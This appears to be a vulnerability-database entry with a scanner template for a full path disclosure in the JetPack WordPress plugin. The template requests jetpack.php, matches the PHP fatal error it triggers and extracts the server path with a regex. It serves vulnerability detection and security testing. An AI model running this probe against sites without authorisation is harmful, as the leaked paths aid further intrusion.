wp-jetpack-fpd: JetPack - Full Path Disclosure

2026-01-08 wp-jetpack PoC Public

Description

JetPack WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.

PoC

id: wp-jetpack-fpd

info:
  name: JetPack - Full Path Disclosure
  author: theamanrawat
  severity: low
  description: |
    JetPack WordPress plugin contains a full path disclosure vulnerability due to improper access restrictions in its source files, allowing unauthenticated attackers to retrieve full server paths and aiding exploitation.
  impact: |
    Attackers can obtain server file paths, aiding in further exploitation of the website.
  reference:
    - https://wordpress.org/plugins/jetpack/
  metadata:
    verified: true
    max-requests: 1
    public-www: "/wp-content/plugins/jetpack/"
  tags: debug,wordpress,wp,wp-plugin,jetpack,fpd,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/wp-content/plugins/jetpack/jetpack.php"

    matchers:
      - type: dsl
        dsl:
          - 'status_code == 200'
          - 'contains_all(body, "Fatal error", "undefined function", "jetpack.php")'
        condition: and

    extractors:
      - type: regex
        name: disclosed-path
        group: 0
        regex:
          - '([A-Za-z]:\\[^\s<>"]+|/[^\s<>"]+)wp-content/plugins/jetpack/jetpack\.php'
# digest: 490a004630440220658e4d41d34d4e885bdb30d3cedbc8ee4089e337c8185b3fa6f3162c6a5b08fc022063acff3aa129f9d3562340ec6ea403127220e179d7c957fcbcabe01e4e5b22f2:922c64590222798bb761d5b6d8e72950

# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.

References

Related Vulnerabilities